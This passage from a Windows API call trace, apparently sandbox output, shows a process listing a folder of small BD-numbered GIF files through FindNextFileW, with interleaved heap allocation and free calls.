(HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7e9c8 [0074.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa01e8 [0074.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.904] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe2ea600, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe2ea600, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x11c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14677_.GIF", cAlternateFileName="")) returned 1 [0074.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.904] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.904] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7e9e8 [0074.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa02f0 [0074.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.905] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdadef00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdadef00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14710_.GIF", cAlternateFileName="")) returned 1 [0074.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ea08 [0074.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa03f8 [0074.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.905] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdadef00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdadef00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xa97, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14711_.GIF", cAlternateFileName="")) returned 1 [0074.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.905] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ea28 [0074.905] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa0500 [0074.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.906] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a26200, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf2a26200, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14768_.GIF", cAlternateFileName="")) returned 1 [0074.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ea48 [0074.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa0608 [0074.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.906] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a26200, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf2a26200, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14769_.GIF", cAlternateFileName="")) returned 1 [0074.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.906] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ea68 [0074.906] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa0710 [0074.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.907] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x1f3, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14800_.GIF", cAlternateFileName="")) returned 1 [0074.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ea88 [0074.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa0818 [0074.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.907] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14801_.GIF", cAlternateFileName="")) returned 1 [0074.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7eaa8 [0074.907] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa0920 [0074.907] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.908] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3e9a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf3e9a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x13c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14844_.GIF", cAlternateFileName="")) returned 1 [0074.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7eac8 [0074.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa0a28 [0074.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.908] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3e9a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf3e9a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14845_.GIF", cAlternateFileName="")) returned 1 [0074.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7eae8 [0074.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa0b30 [0074.908] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.908] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebde300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ebde300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14882_.GIF", cAlternateFileName="")) returned 1 [0074.908] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7eb08 [0074.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa0c38 [0074.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebde300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ebde300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x144, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14883_.GIF", cAlternateFileName="")) returned 1 [0074.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7eb28 [0074.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa0d40 [0074.909] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.909] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73615e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73615e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14996_.GIF", cAlternateFileName="")) returned 1 [0074.909] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7eb48 [0074.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa0e48 [0074.910] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x3380) returned 0xaa63e8 [0074.910] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa97f58) returned 1 [0074.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.911] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73615e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73615e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD14997_.GIF", cAlternateFileName="")) returned 1 [0074.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7eb68 [0074.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa0f50 [0074.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.911] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81af7a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81af7a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x220, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15034_.GIF", cAlternateFileName="")) returned 1 [0074.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7eb88 [0074.911] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa1058 [0074.911] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.911] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81af7a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81af7a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x16e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15035_.GIF", cAlternateFileName="")) returned 1 [0074.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7eba8 [0074.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa1160 [0074.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.912] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9be95800, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9be95800, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15072_.GIF", cAlternateFileName="")) returned 1 [0074.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ebc8 [0074.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa1268 [0074.912] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.912] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1a8500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9d1a8500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15073_.GIF", cAlternateFileName="")) returned 1 [0074.912] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ebe8 [0074.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa1370 [0074.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.913] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab3c1d00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xab3c1d00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x115, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15155_.GIF", cAlternateFileName="")) returned 1 [0074.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ec08 [0074.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa1478 [0074.913] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.913] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab3c1d00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xab3c1d00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x143, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15156_.GIF", cAlternateFileName="")) returned 1 [0074.913] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa7ec28 [0074.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa1580 [0074.914] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94a90) returned 1 [0074.914] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f09b00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3f09b00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD15184_.GIF", cAlternateFileName="")) returned 1 [0074.914] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa94a90 [0074.914] RtlFreeHeap 